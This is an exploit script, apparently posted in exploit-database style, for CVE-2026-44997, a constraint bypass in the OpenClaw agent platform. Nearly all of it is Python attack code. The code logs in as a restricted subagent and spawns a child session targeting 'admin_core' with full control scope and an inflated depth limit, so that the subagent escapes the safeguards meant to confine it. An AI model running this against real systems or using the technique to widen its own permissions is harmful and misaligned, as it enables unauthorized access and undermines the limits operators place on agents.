CVE-2026-44997: OpenClaw安全信封约束绕过漏洞

import openclaw import sys # Exploit Title: OpenClaw Security Envelope Constraint Bypass # Date: 2026-05-11 # Exploit Author: Analyst # Vendor Homepage: https://openclaw.com # Version: < 2026.4.22 # Tested on: Linux def exploit_constraint_bypass(target_host, restricted_api_key): """ This PoC demonstrates how a restricted subagent can spawn an ACP child session that bypasses security constraints. """ try: # Authenticate as a restricted subagent client = openclaw.Client(host=target_host, api_key=restricted_api_key) print(f"[+] Connected to {target_host} as restricted subagent.") # Normal operation should enforce limits here, but the vulnerability bypasses them. # We attempt to spawn a child session targeting a restricted agent (e.g., 'admin_core') # with a depth limit that exceeds our allowance. print("[*] Attempting to spawn malicious ACP child session...") # The vulnerability allows setting parameters that should be inherited/restricted malicious_session = client.spawn_acp_session( target_agent="admin_core", # Bypassing target-agent restrictions max_depth=100, # Bypassing depth limits control_scope="full" # Bypassing control scope ) if malicious_session and malicious_session.active: print(f"[!] Exploit successful! Session ID: {malicious_session.id}") print(f"[!] Session Scope: {malicious_session.scope}") print("[!] Attacker now has elevated privileges via child session.") return True else: print("[-] Exploit failed. Session could not be spawned.") return False except Exception as e: print(f"[-] An error occurred: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_host> <restricted_api_key>") sys.exit(1) host = sys.argv[1] key = sys.argv[2] exploit_constraint_bypass(host, key)